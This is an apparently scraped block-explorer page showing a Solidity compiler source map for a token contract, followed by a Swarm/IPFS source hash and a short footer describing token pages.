i;:::-;;:::i;7059:115::-;;;;;;;;;;-1:-1:-1;7059:115:0;;;;;:::i;:::-;;:::i;5630:151::-;;;;;;;;;;-1:-1:-1;5630:151:0;;;;;:::i;:::-;-1:-1:-1;;;;;5746:18:0;;;5719:7;5746:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;5630:151;7182:713;;;:::i;5421:100::-;5475:13;5508:5;5501:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5421:100;:::o;6402:160::-;6476:4;6493:39;2087:10;6516:7;6525:6;6493:8;:39::i;:::-;-1:-1:-1;6550:4:0;6402:160;;;;;:::o;5972:422::-;6078:4;6095:36;6105:6;6113:9;6124:6;6095:9;:36::i;:::-;-1:-1:-1;;;;;6171:19:0;;6144:24;6171:19;;;:11;:19;;;;;;;;2087:10;6171:33;;;;;;;;6223:26;;;;6215:79;;;;-1:-1:-1;;;6215:79:0;;5190:2:1;6215:79:0;;;5172:21:1;5229:2;5209:18;;;5202:30;5268:34;5248:18;;;5241:62;-1:-1:-1;;;5319:18:1;;;5312:38;5367:19;;6215:79:0;;;;;;;;;6305:57;6314:6;2087:10;6336:25;6355:6;6336:16;:25;:::i;:::-;6305:8;:57::i;:::-;6382:4;6375:11;;;5972:422;;;;;;:::o;6924:127::-;4085:6;;7017:24;;-1:-1:-1;;;;;4085:6:0;2087:10;4085:22;4077:67;;;;-1:-1:-1;;;4077:67:0;;;;;;;:::i;4172:148::-;4085:6;;-1:-1:-1;;;;;4085:6:0;2087:10;4085:22;4077:67;;;;-1:-1:-1;;;4077:67:0;;;;;;;:::i;:::-;4263:6:::1;::::0;4242:40:::1;::::0;4279:1:::1;::::0;-1:-1:-1;;;;;4263:6:0::1;::::0;4242:40:::1;::::0;4279:1;;4242:40:::1;4293:6;:19:::0;;-1:-1:-1;;;;;;4293:19:0::1;::::0;;4172:148::o;5309:104::-;5365:13;5398:7;5391:14;;;;;:::i;5789:175::-;5875:4;5892:42;2087:10;5916:9;5927:6;5892:9;:42::i;7059:115::-;4085:6;;7150:14;;-1:-1:-1;;;;;4085:6:0;2087:10;4085:22;4077:67;;;;-1:-1:-1;;;4077:67:0;;;;;;;:::i;7182:713::-;4023:6;;-1:-1:-1;;;;;4023:6:0;7238:10;:21;:41;;;;-1:-1:-1;7264:5:0;;;;:14;7238:41;7229:88;;;;-1:-1:-1;;;7229:88:0;;;;;;;:::i;:::-;7354:7;;7330:45;;7347:4;;-1:-1:-1;;;;;7354:7:0;-1:-1:-1;;7330:8:0;:45::i;:::-;7388:21;7427:5;7412:12;;:20;;;;:::i;:::-;:36;;7436:11;7412:36;:::i;:::-;7477:4;7459:24;;;;:9;:24;;;;;:41;;7388:60;;-1:-1:-1;7388:60:0;;7459:24;;;:41;;7388:60;;7459:41;:::i;:::-;;;;-1:-1:-1;;7521:10:0;7511:21;;;;:9;:21;;;;;:38;;7536:13;;7511:21;:38;;7536:13;;7511:38;:::i;:::-;;;;-1:-1:-1;;7565:50:0;;1535:25:1;;;7594:4:0;;7574:10;;7565:50;;1523:2:1;1508:18;7565:50:0;;;;;;;7647:6;;;;;;;;;-1:-1:-1;;;;;7647:6:0;-1:-1:-1;;;;;7647:14:0;;:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7676:4;;;7635:61;;-1:-1:-1;;;7635:61:0;;-1:-1:-1;;;;;7676:4:0;;;7635:61;;;7016:34:1;;;;7690:4:0;7066:18:1;;;7059:43;7635:40:0;;;;;;;6951:18:1;;7635:61:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7628:4;:68;;-1:-1:-1;;;;;7628:68:0;;;-1:-1:-1;;;;;;7628:68:0;;;;;;7707:6;;;:22;7737:9;7756:4;7763:13;;7737:9;7804:7;4023:6;;-1:-1:-1;;;;;4023:6:0;;3958:79;7804:7;7813:21;:15;7831:3;7813:21;:::i;:::-;7707:128;;;;;;-1:-1:-1;;;;;;7707:128:0;;;-1:-1:-1;;;;;7456:15:1;;;7707:128:0;;;7438:34:1;7488:18;;;7481:34;;;;7531:18;;;7524:34;;;;7574:18;;;7567:34;;;;7638:15;;;7617:19;;;7610:44;7670:19;;;7663:35;;;;7372:19;;7707:128:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;7848:5:0;:12;;-1:-1:-1;;7848:12:0;7856:4;7848:12;;;-1:-1:-1;;7875:12:0;7862:10;:25;7182:713::o;6570:346::-;-1:-1:-1;;;;;6672:19:0;;6664:68;;;;-1:-1:-1;;;6664:68:0;;8222:2:1;6664:68:0;;;8204:21:1;8261:2;8241:18;;;8234:30;8300:34;8280:18;;;8273:62;-1:-1:-1;;;8351:18:1;;;8344:34;8395:19;;6664:68:0;8020:400:1;6664:68:0;-1:-1:-1;;;;;6751:21:0;;6743:68;;;;-1:-1:-1;;;6743:68:0;;8627:2:1;6743:68:0;;;8609:21:1;8666:2;8646:18;;;8639:30;8705:34;8685:18;;;8678:62;-1:-1:-1;;;8756:18:1;;;8749:32;8798:19;;6743:68:0;8425:398:1;6743:68:0;-1:-1:-1;;;;;6824:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;6876:32;;1535:25:1;;;6876:32:0;;1508:18:1;6876:32:0;;;;;;;;6570:346;;;:::o;8732:587::-;8830:7;:16;;-1:-1:-1;;;;;8830:16:0;;;-1:-1:-1;;;;;;8830:16:0;;;;;;;8848:10;:22;;;;;;;;;;;;;;;8893:5;;;;:13;;8830:16;8893:13;;8892:45;;-1:-1:-1;8912:7:0;;-1:-1:-1;;;;;8912:7:0;8931:4;8912:24;8892:45;:69;;;-1:-1:-1;4023:6:0;;8942:7;;-1:-1:-1;;;;;8942:7:0;;;4023:6;;8942:18;8892:69;8883:117;;;;-1:-1:-1;;;8883:117:0;;9030:2:1;8883:117:0;;;9012:21:1;9069:2;9049:18;;;9042:30;9108:34;9088:18;;;9081:62;-1:-1:-1;;;9159:18:1;;;9152:31;9200:19;;8883:117:0;8828:397:1;8883:117:0;9019:7;;-1:-1:-1;;;;;9019:7:0;9011:71;;;;-1:-1:-1;;;9011:71:0;;9432:2:1;9011:71:0;;;9414:21:1;9471:2;9451:18;;;9444:30;9510:34;9490:18;;;9483:62;-1:-1:-1;;;9561:18:1;;;9554:35;9606:19;;9011:71:0;9230:401:1;9011:71:0;-1:-1:-1;;;;;9101:23:0;;9093:71;;;;-1:-1:-1;;;9093:71:0;;9838:2:1;9093:71:0;;;9820:21:1;9877:2;9857:18;;;9850:30;9916:34;9896:18;;;9889:62;-1:-1:-1;;;9967:18:1;;;9960:33;10010:19;;9093:71:0;9636:399:1;9093:71:0;9177:34;9196:6;9204;9177:18;:34::i;:::-;-1:-1:-1;;;;;;9224:20:0;;;;;;:9;:20;;;;;:30;;9248:6;;9224:20;:30;;9248:6;;9224:30;:::i;:::-;;;;;;;;9291:9;-1:-1:-1;;;;;9274:35:0;9283:6;-1:-1:-1;;;;;9274:35:0;;9302:6;9274:35;;;;1535:25:1;;1523:2;1508:18;;1389:177;8162:562:0;8240:14;8317:4;8311:11;-1:-1:-1;;;8347:4:0;8340:80;8462:6;8455:4;8449;8445:15;8438:31;8510:4;8504;8500:15;8494:4;8487:29;8595:4;8589;8583;8577;8574:1;8567:4;8561:11;8554:5;8549:51;8621:7;8618:36;;;8647:4;8641:11;8631:21;;8618:36;-1:-1:-1;8701:15:0;;-1:-1:-1;8710:6:0;8701;:15;:::i;:::-;-1:-1:-1;;;;;8681:17:0;;;;;;;:9;:17;;;;;:35;;;;-1:-1:-1;8162:562:0;:::o;222:289:1:-;264:3;302:5;296:12;329:6;324:3;317:19;385:6;378:4;371:5;367:16;360:4;355:3;351:14;345:47;437:1;430:4;421:6;416:3;412:16;408:27;401:38;500:4;493:2;489:7;484:2;476:6;472:15;468:29;463:3;459:39;455:50;448:57;;;222:289;;;;:::o;516:220::-;665:2;654:9;647:21;628:4;685:45;726:2;715:9;711:18;703:6;685:45;:::i;741:131::-;-1:-1:-1;;;;;816:31:1;;806:42;;796:70;;862:1;859;852:12;796:70;741:131;:::o;877:315::-;945:6;953;1006:2;994:9;985:7;981:23;977:32;974:52;;;1022:1;1019;1012:12;974:52;1061:9;1048:23;1080:31;1105:5;1080:31;:::i;:::-;1130:5;1182:2;1167:18;;;;1154:32;;-1:-1:-1;;;877:315:1:o;1571:456::-;1648:6;1656;1664;1717:2;1705:9;1696:7;1692:23;1688:32;1685:52;;;1733:1;1730;1723:12;1685:52;1772:9;1759:23;1791:31;1816:5;1791:31;:::i;:::-;1841:5;-1:-1:-1;1898:2:1;1883:18;;1870:32;1911:33;1870:32;1911:33;:::i;:::-;1571:456;;1963:7;;-1:-1:-1;;;2017:2:1;2002:18;;;;1989:32;;1571:456::o;2221:383::-;2298:6;2306;2314;2367:2;2355:9;2346:7;2342:23;2338:32;2335:52;;;2383:1;2380;2373:12;2335:52;2419:9;2406:23;2396:33;;2476:2;2465:9;2461:18;2448:32;2438:42;;2530:2;2519:9;2515:18;2502:32;2543:31;2568:5;2543:31;:::i;:::-;2593:5;2583:15;;;2221:383;;;;;:::o;2832:247::-;2891:6;2944:2;2932:9;2923:7;2919:23;2915:32;2912:52;;;2960:1;2957;2950:12;2912:52;2999:9;2986:23;3018:31;3043:5;3018:31;:::i;3084:127::-;3145:10;3140:3;3136:20;3133:1;3126:31;3176:4;3173:1;3166:15;3200:4;3197:1;3190:15;3216:989;3293:6;3301;3354:2;3342:9;3333:7;3329:23;3325:32;3322:52;;;3370:1;3367;3360:12;3322:52;3406:9;3393:23;3383:33;;3467:2;3456:9;3452:18;3439:32;3490:18;3531:2;3523:6;3520:14;3517:34;;;3547:1;3544;3537:12;3517:34;3585:6;3574:9;3570:22;3560:32;;3630:7;3623:4;3619:2;3615:13;3611:27;3601:55;;3652:1;3649;3642:12;3601:55;3688:2;3675:16;3710:2;3706;3703:10;3700:36;;;3716:18;;:::i;:::-;3791:2;3785:9;3759:2;3845:13;;-1:-1:-1;;3841:22:1;;;3865:2;3837:31;3833:40;3821:53;;;3889:18;;;3909:22;;;3886:46;3883:72;;;3935:18;;:::i;:::-;3975:10;3971:2;3964:22;4010:2;4002:6;3995:18;4050:7;4045:2;4040;4036;4032:11;4028:20;4025:33;4022:53;;;4071:1;4068;4061:12;4022:53;4127:2;4122;4118;4114:11;4109:2;4101:6;4097:15;4084:46;4172:1;4167:2;4162;4154:6;4150:15;4146:24;4139:35;4193:6;4183:16;;;;;;;3216:989;;;;;:::o;4210:388::-;4278:6;4286;4339:2;4327:9;4318:7;4314:23;4310:32;4307:52;;;4355:1;4352;4345:12;4307:52;4394:9;4381:23;4413:31;4438:5;4413:31;:::i;:::-;4463:5;-1:-1:-1;4520:2:1;4505:18;;4492:32;4533:33;4492:32;4533:33;:::i;:::-;4585:7;4575:17;;;4210:388;;;;;:::o;4603:380::-;4682:1;4678:12;;;;4725;;;4746:61;;4800:4;4792:6;4788:17;4778:27;;4746:61;4853:2;4845:6;4842:14;4822:18;4819:38;4816:161;;4899:10;4894:3;4890:20;4887:1;4880:31;4934:4;4931:1;4924:15;4962:4;4959:1;4952:15;4816:161;;4603:380;;;:::o;5397:127::-;5458:10;5453:3;5449:20;5446:1;5439:31;5489:4;5486:1;5479:15;5513:4;5510:1;5503:15;5529:128;5596:9;;;5617:11;;;5614:37;;;5631:18;;:::i;5662:356::-;5864:2;5846:21;;;5883:18;;;5876:30;5942:34;5937:2;5922:18;;5915:62;6009:2;5994:18;;5662:356::o;6023:217::-;6063:1;6089;6079:132;;6133:10;6128:3;6124:20;6121:1;6114:31;6168:4;6165:1;6158:15;6196:4;6193:1;6186:15;6079:132;-1:-1:-1;6225:9:1;;6023:217::o;6245:168::-;6318:9;;;6349;;6366:15;;;6360:22;;6346:37;6336:71;;6387:18;;:::i;6418:125::-;6483:9;;;6504:10;;;6501:36;;;6517:18;;:::i;6548:251::-;6618:6;6671:2;6659:9;6650:7;6646:23;6642:32;6639:52;;;6687:1;6684;6677:12;6639:52;6719:9;6713:16;6738:31;6763:5;6738:31;:::i;7709:306::-;7797:6;7805;7813;7866:2;7854:9;7845:7;7841:23;7837:32;7834:52;;;7882:1;7879;7872:12;7834:52;7911:9;7905:16;7895:26;;7961:2;7950:9;7946:18;7940:25;7930:35;;8005:2;7994:9;7990:18;7984:25;7974:35;;7709:306;;;;;:::o

Swarm Source

ipfs://0c61a539dda602cfc349350bd6dff84bc954d40795e0178c581ff49220247745
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.